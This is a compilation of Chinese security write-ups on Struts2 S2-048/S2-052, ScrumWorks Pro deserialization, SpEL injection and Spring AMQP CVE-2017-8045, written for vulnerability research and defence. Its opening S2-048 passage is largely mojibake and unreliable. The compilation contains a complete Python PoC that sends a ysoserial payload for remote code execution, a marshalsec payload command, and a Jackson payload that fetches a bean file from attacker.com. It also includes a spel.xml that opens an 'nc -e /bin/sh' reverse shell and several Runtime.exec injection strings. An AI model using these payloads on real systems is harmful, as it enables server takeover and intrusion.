Struts1Factory(Dispatcher.getInstance().getConfigurationManager().getConfiguration()); ActionMapping mapping = strutsFactory.createActionMapping(actionConfig); HttpServletRequest request = ServletActionContext.getRequest(); HttpServletResponse response = ServletActionContext.getResponse(); //SaveGangsterActionexecute ActionForward forward = action.execute(mapping, this.actionForm, request, response); //ȡrequestActionMessage ActionMessages messages = (ActionMessages)request.getAttribute("org.apache.struts.action.ACTION_MESSAGE"); //ActionMessageǷΪnull if(messages != null) { Iterator i = messages.get(); label36: while(true) { while(true) { if(!i.hasNext()) { break label36; } ActionMessage msg = (ActionMessage)i.next(); if(msg.getValues() != null && msg.getValues().length > 0) { this.addActionMessage(this.getText(msg.getKey(), Arrays.asList(msg.getValues()))); } else { //msgvaluesΪnullkeyΪGangster ${1+3} added successfullygetText this.addActionMessage(this.getText(msg.getKey())); } } } } ...... ``` ͨ(Action)this.objectFactory.buildBean(this.className, (Map)null);ȡǰactionclassNameΪ ``` org.apache.struts2.showcase.integration.SaveGangsterAction ``` demoSaveGangsterAction̳Actionдexecute ``` public class SaveGangsterAction extends Action { @Override public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception { // Some code to save the gangster to the db as necessary GangsterForm gform = (GangsterForm) form; ActionMessages messages = new ActionMessages(); messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " added successfully")); addMessages(request, messages); return mapping.findForward("success"); } } ``` ͬʱgforn.getName()ŵActionMessageṹУӵrequestΪorg.apache.struts.action.ACTION_MESSAGE̬Կ֪nameֵΪ: ``` ${1+3} ``` ¿ִ̡ڵSaveGangsterActionexecute󣬽żrequestActionMessageǷΪգΪActionMessageдԸͻˡgetText ``` this.addActionMessage(this.getText(msg.getKey())); ``` getTextĴΪStruts2Ҫ磬ûǰ˹ʻ⡣ݲͬLocaleΪzh_CNȥӦԴļȡϢչ֡ҪʻӦþͲҪÿԶһģˡ[n1nty](http://bobao.360.cn/learning/detail/4078.html)ķҲᵽ LocalizedTextUtilfindTextStruts2©ĶϤS2-045 ``` public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args) { ValueStack valueStack = ActionContext.getContext().getValueStack(); return findText(aClass, aTextName, locale, defaultMessage, args, valueStack); } ``` aTextNamedefaultMessageΪ Gangster ${1+3} added successfully 鿴[LocalizedTextUtil.findTextĽ](https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/util/LocalizedTextUtil.html) If a message is found, it will also be interpolated. Anything within ${...} will be treated as an OGNL expression and evaluated as such. message${}еκֵΪOGNLʽִУӶRCEͼ ![Markdown](http://i2.kiimg.com/1949/8e3341ba38f15262.png) ### POC ©ͨԣ÷ʽ֮ǰ©޲ԴƵʱԸݾpoc֤ɲο[jas502n](https://github.com/jas502n/st2-048)ṩIJPOC ### ȫ S2-048©ԭǽ**ûɿصֵ**ӵActionMessageڿͻǰչʾgetTextmessageognlʽִС Կͨʹresource keysԭʼϢֱӴݸActionMessage Ҫʹµķʽ ``` messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added")); ``` ### ο [1] http://bobao.360.cn/learning/detail/4078.html [2] https://github.com/jas502n/st2-048 [3] http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/ [4] http://blog.topsec.com.cn/ad_lab/strutss2-048%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ ================================================ FILE: S2-052漏洞分析.md ================================================ ### S2-052漏洞分析 #### 漏洞公告 >The REST Plugin is using a XStreamHandler with an instance of XStream for deserialization without any type filtering and this can lead to Remote Code Execution when deserializing XML payloads. 可以看出问题出在struts2-rest-plugin插件上,本质还是XStream的反序列化问题。 #### 漏洞分析 根据官方demo分析,Action经过struts2-rest-plugin处理时会被ContentTypeInterceptor这个拦截器处理,重写的intercept方法如下: ``` java public String intercept(ActionInvocation invocation) throws Exception { HttpServletRequest request = ServletActionContext.getRequest(); ContentTypeHandler handler = selector.getHandlerForRequest(request); Object target = invocation.getAction(); if (target instanceof ModelDriven) { target = ((ModelDriven)target).getModel(); } if (request.getContentLength() > 0) { InputStream is = request.getInputStream(); InputStreamReader reader = new InputStreamReader(is); handler.toObject(reader, target); } return invocation.invoke(); } ``` 首先getHandlerForRequest会判断该action的请求类型,分别返回不同的ContentTypeHandler,如下 ![handler类型](http://xianzhi.aliyun.com/forum/attachment/thumb/Mon_1709/4_1250798584134789_cccfd08c1cd64d1.png) 当请求的Content-Type为 application/xml时,返回的ContentTypeHandler为XStreamHandler对象。 之后判断该请求的Content-Length是否大于0,如果不为空则以数据流的形式读取post请求数据,之后给InputStreamReader对象。然后调用XStreamHandler的函数toObject对输入进行反序列化操作: ``` public void toObject(Reader in, Object target) { XStream xstream = createXStream(); xstream.fromXML(in, target); } ``` #### 漏洞利用 目前公开的利用方法基本和XStream的思路相同,触发的原理如图: ![](http://xianzhi.aliyun.com/forum/attachment/thumb/Mon_1709/4_1250798584134789_24891143c9c8cf8.png) 详细可参考github上的[marshalsec](https://github.com/mbechler/marshalsec)及paper。下载程序通过maven编译生成jar包,然后使用命令生成payload即可: >java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO "open /Applications/Calculator.app" > poc.xml ##### 参考 * https://github.com/mbechler/marshalsec ================================================ FILE: ScrumWorks Pro 反序列化漏洞分析.md ================================================ ### ScrumWorks Pro 反序列化漏洞分析 #### 概述 国外安全人员发现ScrumWorks Pro 6.7.0版本中存在反序列化漏洞,成功利用该漏洞可导致任意代码执行。 >CollabNet ScrumWorks Pro is an Agile Project Management for Developers, Scrum Masters, and Business”. A trial version can be downloaded from the vendor: [https://www.collab.net/products/scrumworks](https://www.collab.net/products/scrumworks) #### 漏洞原理 ScrumWorks Pro提供一个web接口可以通过Java Web Start (JNLP)启动java客户端程序,java客户端发送反序列化对象给服务端程序,服务端接收数据处理函数如下: ``` --- protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException { ServerSession localServerSession = getSession(paramHttpServletRequest); AbstractExecutableCommand localAbstractExecutableCommand = null; ObjectInputStream localObjectInputStream = new ObjectInputStream(new GZIPInputStream(paramHttpServletRequest.getInputStream())); try { AbstractCommand localAbstractCommand = (AbstractCommand)localObjectInputStream.readObject(); localAbstractExecutableCommand = (AbstractExecutableCommand)Class.forName(getExecutableCommandName(localAbstractCommand)).newInstance(); paramHttpServletResponse.addHeader("X-SWP-responseType", "object"); if (localServerSession.isExpired()) { paramHttpServletRequest.getSession().invalidate(); sendResponse(paramHttpServletResponse, new ReAuthenticateException()); return; } localObject1 = ControllerUtils.extractUserFromAuthorizationHeader(paramHttpServletRequest); String str = localObject1 == null ? null : ((UserTO)localObject1).getUserName(); LOGGER.info("[User: " + str + "] command: " + localAbstractCommand); if (Maintenance.isMaintenanceMode()) { sendResponse(paramHttpServletResponse, ServerException.getMaintenanceModeException()); } else { runCommandIfAuthorized((UserTO)localObject1, localAbstractExecutableCommand, localAbstractCommand, paramHttpServletResponse); } } catch (ServerException localServerException) { localServerException.printStackTrace(); sendResponse(paramHttpServletResponse, localServerException); } catch (InvalidClassException localInvalidClassException) { LOGGER.error("An outdated client tried to send a command. Please log out and restart the client."); sendResponse(paramHttpServletResponse, new ServerException("The server has been updated. Please relaunch your client.", localInvalidClassException)); } catch (Exception localException) { LOGGER.debug("error handling request", localException); Object localObject1 = unwrapException(localException); LOGGER.error("error executing a command", (Throwable)localObject1); if (localAbstractExecutableCommand != null) { sendResponse(paramHttpServletResponse, ServerException.getMisconfiguredServerException((Exception)localObject1)); } } finally { localObjectInputStream.close(); } } --- ``` 可以看到首先对数据进行了zip解码,然后使用ObjectInputStream的readObject读取反序列化对象,造成反序列化漏洞。而ScrumWorks使用了第三方库Apache CommonsCollections (3.2.1),利用ysoserial生产payload即可利用该漏洞。 #### POC ```python # # Scrumworks Java Deserialization Remote Code Execution PoC # import httplib import urllib import sys import binascii # load the ysoserial.jar file sys.path.append("./ysoserial.jar") from ysoserial import * from ysoserial.payloads import * # ZIP support from java.io import ByteArrayOutputStream from java.io import ObjectOutputStream from java.util.zip import GZIPOutputStream print "Scrumworks Java Deserialization Remote Code Execution PoC" print "=========================================================" if len(sys.argv) != 4: print "usage: " + sys.argv[0] + " host port command\n" exit(3) payloadName = "CommonsCollections5" payloadClass = ObjectPayload.Utils.getPayloadClass(payloadName); if payloadClass is None: print("Can't load ysoserial payload class") exit(2); # serialize payload payload = payloadClass.newInstance() exploitObject = payload.getObject(sys.argv[3]) # create streams byteStream = ByteArrayOutputStream() zipStream = GZIPOutputStream(byteStream) objectStream = ObjectOutputStream(zipStream) objectStream.writeObject(exploitObject) # close streams objectStream.flush() objectStream.close() zipStream.close() byteStream.close() # http request print "sending serialized command" conn = httplib.HTTPConnection(sys.argv[1] + ":" + sys.argv[2]) conn.request("POST", "/scrumworks/UFC-poc-", byteStream.toByteArray()) response = conn.getresponse() conn.close() print "done" --- ``` #### 参考 * https://blogs.securiteam.com/index.php/archives/3387 ================================================ FILE: SpEL injection.md ================================================ ### SpEL injection > 原文作者:[webr0ck](https://twitter.com/webr0ck) > 本文由[Cryin'](https://cryin.github.io/)译自[@webr0ck's SpEL injection ](https://m.habr.com/company/dsec/blog/433034/) #### 介绍 在各种安全相关工作及研究过程中,越来越多地涉及到Spring Framework的安全问题。要研究Spring框架的安全,合乎逻辑的步骤是先熟悉其结构和可能存在的漏洞。 而安全人员最感兴趣的可能就是RCE这类高危漏洞。 在Spring中存在较多的RCE的漏洞都是因SpEL表达式注入产生。 在本文中,我们将尝试弄清楚SpEL是什么,在什么场景下使用,作用是什么,以及如何找到任意SpEL表达式注入的点。 #### SpEL SpEL,Spring表达式语言全称为Spring Expression Language,是Spring Framework创建的一种表达式语言,它支持在运行时查询和操纵对象图表。这里要注意的是SpEL是以API接口的形式创建的,允许将其集成到其他应用程序和框架中。 ##### SpEL使用实例 在Spring Framework中SpEL的使用是比较常见的。一个很好的例子是[Spring Security](https://github.com/spring-projects/spring-security),其中使用SpEL表达式分配权限: ```java @PreAuthorize("hasPermission(#contact, 'admin')") public void deletePermission(Contact contact, Sid recipient, Permission permission); ``` 如图所示: ![2grqgp1bk2lc_ajrxtbl4rcsrq4.png](https://habrastorage.org/webt/2g/rq/gp/2grqgp1bk2lc_ajrxtbl4rcsrq4.png) [Apache Camel](https://github.com/apache/camel)使用SpEL API; 以下是其文档中的示例。使用SpEL表达式形成一个字母: ```html #{request.headers['foo'] == 'bar'} ``` 或者,你可以使用外部文件中的规则来指定标题: ```java .setHeader("myHeader").spel("resource:classpath:myspel.txt") ``` 在GitHub上遇到的几个例子: * https://github.com/jpatokal/openflights ![sewdgepwblvm0cslrn30d5glbem.png](https://habrastorage.org/webt/se/wd/ge/sewdgepwblvm0cslrn30d5glbem.png) * https://github.com/hbandi/LEP ![xmnrh2rhtdc_eqlfpgqqmukaemu.png](https://habrastorage.org/webt/xm/nr/h2/xmnrh2rhtdc_eqlfpgqqmukaemu.png) #### Spring框架和SpEL基础知识 为了使读者更容易理解SpEL注入是什么,有必要先熟悉Spring和SpEL。 Spring Framework的关键元素是Spring Container。Spring Container管理的对象称为bean,Spring Container就是一个bean工厂,对象的创建、获取、销毁等都是由Spring Container管理的。 为了管理构成应用程序的组件,Spring Container使用依赖注入管理对象依赖关系。Spring支持以下方式配置如何注入依赖: * XML * java注解 * java代码 对我们来说另一个重点是ApplicationContext。 org.springframework.context.ApplicationContext接口用于完成容器的配置,初始化,管理bean。一个Spring容器就是某个实现了ApplicationContext接口的类的实例。也就是说,从代码层面,Spring容器其实就是一个ApplicationContext。 ![gzpgtdz46xowwzhkoa4vsld7utq.png](https://habrastorage.org/webt/gz/pg/td/gzpgtdz46xowwzhkoa4vsld7utq.png) 现在我们将关注如何配置bean并使用SpEL表达式 ##### Bean.XML 典型的一个用法示例是将SpEL集成到XML的创建或bean的注释定义中: ```xml ``` 这是Bean.xml文件中的一部分代码,仅用于配置其中一个bean。值得注意的是可以通过它访问的bean的id以及其它属性。因为在本文的框架中,我们考虑了操作SpEL的可能性,然后该示例将显示用于记录此类表达式的几个选项。 SpEL表达式由#符号括号括起来,如\#{SpEL_expression}。属性名称引用可以用$符号\${someProperty}。属性本书可能不包含SpEL表达式,但表达式可以包含对属性的引用: ``` "#{${someProperty}" ``` 因此,您可以调用我们需要的任何Java类,或者访问环境变量,这对于确定用户名或系统版本很有用。 这种配置bean的方法的便利之处在于能够在不重新编译整个应用程序的情况下更改它们,从而改变应用程序的行为。 从应用程序本身,可以使用ApplicationContext接口访问此bean,如下所示: ```java ApplicationContext ctx = new ClassPathXmlApplicationContext(“Bean.xml”); MyExpression example = ctx.getBean(“example", MyExpression.class); " + "System.out.println(“Number : " + example.getValue()); System.out.println(“Locale : " + example.getDefaultLocale()); System.out.println(“Locale : " + example.getDefaultLocale2()); ``` 即在应用程序内部,我们只需获取包含SpEL表达式的参数的值。Spring收到这样的值后,执行表达式并输出最终结果。此外,不要忘记,如果没有适当的getter,此代码将无法工作,但它们的描述超出了本文的范围。 设置bean的另一种方法是AnnotationBase注解方法 - 参数值在类的注解中设置。在这种情况下,不可能使用变量。 ```java public static class FieldValueTestBean @Value("#{ systemProperties['user.region'] }") private String defaultLocale; public void setDefaultLocale(String defaultLocale) { this.defaultLocale = defaultLocale; } public String getDefaultLocale() { return this.defaultLocale; } } ``` 为了能够使用变量,我们需要在创建SpEL表达式时使用ExpressionParser接口。然后在应用程序代码中会出现一个类,类似于以下示例: ```java public void parseExpressionInterface(Person personObj,String property) { ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(property+" == ‘Input'"); StandardEvaluationContext testContext = new StandardEvaluationContext(personObj); boolean result = exp.getValue(testContext, Boolean.class); ``` ExpressionParser将字符串表达式转换为Expression对象。因此,parseExpression的值将在EvaluationContext中可用。此EvaluationContext将是唯一可以从中访问字符串EL中的所有属性和变量的对象。 值得注意的另一个重要事实。使用这种使用SpEL的方法,我们需要字符串表达式只包含#,除了表达式本身,它还包含字符串文字。 综上所述,有两件事值得记住: * 1)如果您可以按应用程序代码进行搜索,那么判断是否使用SpEL表达式解析可以查找以下关键字:SpelExpressionParser,EvaluationContext和parseExpression。 * 2)SpEL表达语句的特点是\#{SpEL},\${someProperty}和\T(javaclass) 如果你想了解更多详细信息,了解春和SpeI,我们建议您注意文档[docs.spring.io 6. Spring Expression Language (SpEL)](https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html) #### SpEL可以做什么? 根据官方文档介绍,SpEL支持以下功能: * Literal expressions * Boolean and relational operators * Regular expressions * Class expressions * Accessing properties, arrays, lists, maps * Method invocation * Relational operators * Assignment * Calling constructors * Bean references * Array construction * Inline lists * Ternary operator * Variables * User defined functions * Collection projection * Collection selection * Templated expressions 我们可以看到,SpEL功能非常丰富,如果用户输入包含在ExpressionParser中,这会对产品的安全性带来负面影响。因此,Spring建议在处理SpEL表达式时使用更安全、同时也是支持最基本功能的SimpleEvaluationContext,而不是功能更强同时安全隐患较大的StandardEcalutionContext, 简而言之,对于我们来说,尽量使用较安全的SimpleEvaluationContext,很重要一点是使用SimpleEvaluationContext,则SpEL无法调用Java类对象、引用bean。 可参考官方网站上完整功能描述: * [StandardEvaluationContext (Spring Framework 5.1.3.RELEASE API)](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/StandardEvaluationContext.html) * [SimpleEvaluationContext (Spring Framework 5.0.6.RELEASE API)](https://docs.spring.io/spring/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) 为了更清楚的展示两种EvaluationContext在处理SpEL功能上的差异,我们举一个例子。这里有一个包含SpEL表达式的恶意字符串: ```java String inj = "T(java.lang.Runtime).getRuntime().exec('calc.exe')"; ``` 两种用法: ```java StandardEvaluationContext std_c = new StandardEvaluationContext(); ``` 和 ```java EvaluationContext simple_c = SimpleEvaluationContext.forReadOnlyDataBinding ().build(); ``` 表达式exp = parser.parseExpression(inj); 执行的结果如下: java exp.getValue(std_c); - 计算器将启动 java exp.getValue(simple_c); - 运行出现错误 另一个有趣的观点是,我们可以开始处理表达式而不指定任何EvaluationContext:exp.getValue(); 在这种情况下,表达式将以StandardEvaluationContext处理,因此,恶意代码将被执行。所以,如果你是程序员并使用Spring - 永远不要忘记设置应该执行表达式的EvaluationContext。 历史上出现过相关的SpEL表达式注入导致的RCE安全漏洞,而修复方式则是使用SimpleEvaluationContext替代StandardEvaluationContext。 ##### CVE 2018-1273 Spring Data Commons RCE 此漏洞在setPropertyValue方法中找到,并且基于两个问题: 1)对进入ExpressionParser的变量值的过滤不足。 2)使用StandardEvaluationContext执行表达式。 以下是存在安全漏洞的部分代码的屏幕截图: ![rb84_76_bpq3ywrf-icytp5hvs8.png](https://habrastorage.org/webt/rb/84/_7/rb84_76_bpq3ywrf-icytp5hvs8.png) 因为属性名称不需要在SpEL框架内进行复杂的处理,这个场景使用SimpleEvaluationContext即可满足需求,所以修复代码替换EvaluationContext即可缓解风险,如下: ![xwreueydsgforfjf365mwdrpcuc.png](https://habrastorage.org/webt/xw/re/ue/xwreueydsgforfjf365mwdrpcuc.png) 屏幕截图显示了设置上下文和将要执行的表达式的代码部分。但表达式的执行发生在其他地方: ```java expression.setValue(context, value); ``` 就在这里,使用指定的EvaluationContext(context)执行SpEL表达式(expression)。 使用SimpleEvaluationContext有助于防止将Java类引入parseExpression,现在我们将看到错误,而不是执行恶意表达式中构造的代码: ``` Type cannot be found 'java.lang.Runtime' ``` 但这里还是没有对传入的参数进行安全过滤,因此仍然可以进行拒绝服务攻击: ``` curl -X POST http://localhost:8080/account -d "name['aaaaaaaaaaaaaaaaaaaaaaaa!'%20matches%20'%5E(a%2B)%2B%24']=test" ``` 后来的修复已经增加了对输入参数的安全过滤处理。 #### 从理论到实践 现在让我们看一下使用白盒方法挖掘SpEL注入的几种方法。 ##### 一步一步CVE-2017-8046 首先,需要找到处理SpEL表达式的位置。为此,你只需使用我们的建议并在代码中查找关键字即可。回想一下这些词:SpelExpressionParser,EvaluationContext和parseExpression。 另一个选择是使用各种插件来查找代码中SpEL注入漏洞。如[findsecbugs-cli](https://github.com/find-sec-bugs) 所以,假设我们使用findsecbugs-cli在代码中找到了一个感兴趣的地方: ![wg_ws5vbnh1z6vds1-gxjc3zhk0.png](https://habrastorage.org/webt/wg/_w/s5/wg_ws5vbnh1z6vds1-gxjc3zhk0.png) 在代码中,我们将看到以下内容: ```java public class PathToSpEL { private static final SpelExpressionParser SPEL_EXPRESSION_PARSER = new SpelExpressionParser(); static final List APPEND_CHARACTERS = Arrays.asList("-"); /** * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. * @return an {@link Expression} */ public static Expression pathToExpression(String path) { return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path)); } ``` 下一步是找出变量path是从什么地方进入表达式解析器的。一种相当方便和免费的方法是使用IDE的IntelijIdea - Analyze Dataflow: ![gdudag-ykwbmvin_70mowuh838u.png](https://habrastorage.org/webt/gd/ud/ag/gdudag-ykwbmvin_70mowuh838u.png) 回溯变量,我们得到以下结果,ReplaceOperation方法获取了path变量的值。 ```java public ReplaceOperation(String path, Object value) { super("replace", path, value); } ``` 要触发调用replace方法,需要将值为"replace"的变量op传递给JSON。 ```java JsonNode opNode = elements.next(); String opType = opNode.get("op").textValue(); else if (opType.equals("replace")) { ops.add(new ReplaceOperation(path, value)); ``` 这样我们就找到用户可控的变量。然后,一个可能的漏洞利用方式将如下所示: 请求method:PATCH 请求body: ``` [{ "op" : "add", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }] ``` ##### 使用LGTM QL 使用[LGTM QL](https://lgtm.com)(在本文中,简称为QL) - 这是另一种发现漏洞的有趣方式。 有必要先讨论一下lgtm的不足之处。对于免费版本,只能分析GitHub上的开放的代码项目,为了创建项目的快照,LGTM将把工程下载到其服务器并编译。如果这些都不是问题,那么LGTM QL白盒代码分析能力还是很强大的。 那么,什么是使用QL的应用分析? 首先,正如我们所说,你需要创建应用程序的快照。 快照准备就绪后,可能需要比较长时间,你可以开始使用QL语法中编写类似SQL的查询。可以使用Eclipse插件,也可以直接在项目的QL页面上的控制台中操作。 因为,我们现在分析的Spring框架,是一个Java框架,所以你要清楚你感兴趣的类以及这个类的方法,它的调用被认为是可能存在安全漏洞的。对我们来说,调用ExpressionParser的方法的任何类我们都需要关注。 然后我们进一步确定满足我们要求的所有方法,例如,根据方法中的变量作为过滤条件去掉不满足要求的方法。 ![orcsbusthzp51u1y_l0wuupohe8.png](https://habrastorage.org/webt/or/cs/bu/orcsbusthzp51u1y_l0wuupohe8.png) 那么,你需要做些什么才能找到CVE 2018-1273漏洞? 在lgtm添加项目后,我们使用QL控制台来描述感兴趣的方法。为此: 我们描述了ExpressionParser类: ```java class ExpressionParser extends RefType { ExpressionParser() { this.hasQualifiedName("org.springframework.expression", "ExpressionParser") } } ``` 以及可用于在ExpressionParser类中执行的方法: ```java class ParseExpression extends MethodAccess { ParseExpression() { exists (Method m | (m.getName().matches("parse%") or m.hasName("doParseExpression")) and this.getMethod() = m ) } } ``` 现在,需要将这些描述组织在一起并进行select: ```java class ParseExpression extends MethodAccess { ParseExpression() { exists (Method m | (m.getName().matches("parse%") or m.hasName("doParseExpression")) and this.getMethod() = m ) } } ``` 这样的查询将返回以parse开头或名称为doParseExpression的所有方法,这些方法将属于ExpressionParser类。但是,这样可能会出现很多不需要的结果。所以需要添加过滤器。不然无关的方法也有可能被查询出来。 ```java * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. ``` 例如,如下方法可以在Javadoc或注释中搜索关键字“path”。Spring代码注释非常规范,我们可以通过注释特征来进一步找到真正需要的方法调用,同时过滤掉无关的方法。如下: ```java class CallHasPath extends Callable { CallHasPath() { not this.getDeclaringType() instanceof TestClass and ( this.getDoc().getJavadoc() instanceof DocHasPath or this.getDeclaringType().getDoc().getJavadoc() instanceof DocHasPath ) } } ``` 然后,可以组合Javadoc、类、方法作为最后的过滤条件,示例查询将如下所示: ```java from ParseExpression expr, CallHasPath c where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser and c = expr.getEnclosingCallable()) select expr, c ``` 上述QL示例还是相对比较简单的,但是可以搜索到特定漏洞,如上QL搜索到两处潜在SpEL注入的点,执行结果参考[LGTM-QL](https://lgtm.com/query/2141670445/)。QL功能强大,还可以编写更有趣、更复杂的判断逻辑提高搜索准确性。 ##### Jackson and Bean CVE-2017-17485基于FileSystemXmlApplicationContext的使用,FileSystemXmlApplicationContext是一个独立的XML应用程序上下文,用于从文件系统或URL检索上下文定义文件。 根据文档描述,它允许从文件加载bean并重新加载应用程序上下文。 > “… Create a new FileSystemXmlApplicationContext, loading the definitions from the given XML files and automatically refreshing the context” Jackson是一个可以序列化和反序列化除黑名单之外的任何对象的库。入侵者经常使用此功能。对于此漏洞,攻击者必须传递一个对象org.springframework.context.support.FileSystemXmlApplicationContext,该对象的值包含攻击者控制的文件的路径。 对于此漏洞,攻击者必须传递一个对象org.springframework.context.support.FileSystemXmlApplicationContext,该对象的值包含攻击者控制的文件的路径。 即在请求的body中,可以传递以下JSON: ```json {"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://attacker.com/spel.xml"]} ``` Spel.xml将包含bean的配置参数: ```xml nc X.X.X.X 9999 -e /bin/sh ``` 因为我们使用java.lang.ProcessBuilder类作为bean,它有一个start方法,然后在上下文重新加载后,Spring从SpEL属性读取启动ProcessBuilder的表达式,从而使服务器使执行nc命令连接到我们。 作为一个例子,值得关注spel.xml,因为它显示了在运行命令时如何传递参数。 我们还能加载我们的bean还是重新加载上下文?通过快速阅读Spring文档,你也可以找到一些对我们有用的类。 ClassPathXmlApplicationContext和AbstractXmlApplicationContext类似于FileSystem,但分别使用ClassPath和XML带注释的bean作为配置的路径。 还有一个与上下文重新加载相关的有趣点 - @RefreshScope。 任何使用@RefreshScope注解的Spring Bean都将在启动时刷新。并且所有使用它的组件将在下次方法该方法时会创建新对象,将完全初始化并放入依赖项。 RefreshScope是上下文中的一个组件,它有一个公共方法refreshAll,旨在通过清除目标缓存来刷新区域中的所有组件。因此,在使用@RefreshScope的情况下,用户可以引用以/refresh(译者注:SpringCloud2.0默认不暴露,且路径变为/actuator/refresh)结尾的URL,从而重新加载带此注解的bean。 ##### 其他工具 还有许多其他插件和程序可以让您分析代码并找到漏洞。 * Jprofiler - 作为一个单独的应用程序 - IDE的插件。允许分析正在运行的应用程序。通过构建图形来分析对象的行为是非常方便的。缺点就是这是付费软件,但有10天的免费期。它被认为是分析应用程序行为的最佳工具之一,不仅从安全的角度来看。 ![g4kiijoeylzhjo742es00a_ksti.png](https://habrastorage.org/webt/g4/ki/ij/g4kiijoeylzhjo742es00a_ksti.png) * Xrebel - 付了钱,我们没有找到试用期的可能性。但也被认为是最好的之一。 * Coverity - 使用其服务器进行分析,因此仅对那些可怕的人来说是非常方便的。 * Checkmarx非常有名,有报酬,知道多种语言并且抛出了很多误报。但最好指出理论上可能存在错误的地方,而不是错过真正的错误。 * OWASP依赖性检查 - 作为各种收集器的便捷插件提供。在分析Java应用程序时,我们设法为Maven和Ant测试它。还支持.Net。在工作结束时,它提供了一个方便的报告,指出过时的库和已知的漏洞。 * Findbugs - 之前已经提到过。它有很多实现,但是最方便且出于某种原因显示更多问题的是findbugs_cli选项。它可以使用如下:findsecbugs.bat -progress -html -output report_name.htm "path\example.jar" * LGTM QL - 早期已经提供了一个使用它的例子。另外,我想说还有一个付费用例,在收购后你会收到一个本地服务器来分析你的代码。QL不仅支持Java,因此很可能对您来说分析应用程序也很方便。 ##### 黑盒检测 一般来说,需要特别注意的是使用了Spring框架的应用,以在其代码中使用SpEL,使用SpEL API的应用程序,或与此主题完全无关的Web服务。 如果是使用Spring,那么应该注意包含API的URL。还有必要检查服务器对endpoints如/metrics和/bean的响应 - 这将确定Spring Boot Actuator是否被应用引入依赖并使用,这些应用系统的监控和管理相关的功能很有用。 接下来,我们来看看可以控制的参数变量。正如我们之前看到的,每个变量及输入参数都可能是SpEL表达式的输入点,因此对所有潜在的变量进行检查非常重要。 * 可变参数: var[SpEL]=123 * 变量名称: &variable1=123&SpEL= * Cookies:org.springframework.cookie = ${} * 不同类型的请求GET、POST、PUT、PATCH等 * 第三方库 ###### 检测payload ```java ${1+3} T(java.lang.Runtime).getRuntime().exec("nslookup !url!") #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup !url!') new java.lang.ProcessBuilder({'nslookup !url!'}).start() ${user.name} ``` #### 总结 实际上,SpEL并不是第一种表达语言,还有很多其他的EL注入已经被发现。以下是其中一些:OGNL,MVEL,JBoss EL,JSP EL。在某些情况下,这些表达式注入的payload甚至会相同。 在ZeroNights(本文作者[@webr0ck](https://twitter.com/webr0ck)在该会议上演讲[Spel injection议题](https://2018.zeronights.ru/en/materials/))有一个问题:“除了Spring之外,你还能找到SpEL注入吗?” 如果你看一下CVE,几乎都是Spring框架相关的漏洞。但事实上,还有更多的案例,而且不仅仅是在github上提供的应用程序中。 例如,本文的作者曾经遇到过这样的代码,当某个管理服务运行时,来自数据库的数据落入SpEL表达式。即攻击者(可能是同一个管理员)只需要向数据库写入特定的请求,即可在服务器上执行代码。 即我们可以将将必要的数据写入表中的能力与表达式注入分开。因此,在使用某种语言特定的功能比如表达式执行时,永远不要相信用户输入的数据,即便不是用户输入的也需要进行安全检查。 #### 原文相关链接 * [SpEL injection / @webr0ck](https://m.habr.com/company/dsec/blog/433034/) * [spring-data-rest ql results](https://lgtm.com/query/2141670445/) * [Materials – Zeronights 2018 EN](https://2018.zeronights.ru/en/materials/) ================================================ FILE: Spring AMQP远程代码执行漏洞(CVE-2017-8045)分析.md ================================================ ## Spring AMQP远程代码执行漏洞(CVE-2017-8045)分析 > 最近国外研究人员先后爆出Spring Data REST远程代码执行漏洞(CVE-2017-8046)和Spring AMQP远程代码执行漏洞(CVE-2017-8045),CVE-2017-8046关注的人比较多,这里对CVE-2017-8045进行简单分析 ### 漏洞原因 在Spring AMQP的Message类中,文件路径为spring-amqp/src/main/java/org/springframework/amqp/core/Message.java。getBodyContentAsString方法中将接收到的消息进行反序列化操作,从而导致任意代码执行。代码如下: ``` private String getBodyContentAsString() { if (this.body == null) { return null; } try { String contentType = (this.messageProperties != null) ? this.messageProperties.getContentType() : null; if (MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT.equals(contentType)) { return SerializationUtils.deserialize(this.body).toString(); } ...... } ``` 可以看到这里如果要触发漏洞,其中一个条件是要将请求的ContentType设置为application/x-java-serialized-object。 ``` public static final String CONTENT_TYPE_SERIALIZED_OBJECT = "application/x-java-serialized-object"; ``` ### 代码分析 先分析存在漏洞的代码版本[spring-amqp-1.7.3.RELEASE](https://github.com/spring-projects/spring-amqp),整个项目代码中共有两处提供反序列化方法的类,分别是SerializerMessageConverter类和SerializationUtils类。 其中SerializerMessageConverter继承了WhiteListDeserializingMessageConverter类并实现了反序列化方法deserialize,代码如下: ``` private Object deserialize(ByteArrayInputStream inputStream) throws IOException { try { ObjectInputStream objectInputStream = new ConfigurableObjectInputStream(inputStream, this.defaultDeserializerClassLoader) { @Override protected Class resolveClass(ObjectStreamClass classDesc) throws IOException, ClassNotFoundException { Class clazz = super.resolveClass(classDesc); checkWhiteList(clazz); return clazz; } }; return objectInputStream.readObject(); } catch (ClassNotFoundException ex) { throw new NestedIOException("Failed to deserialize object type", ex); } } ``` 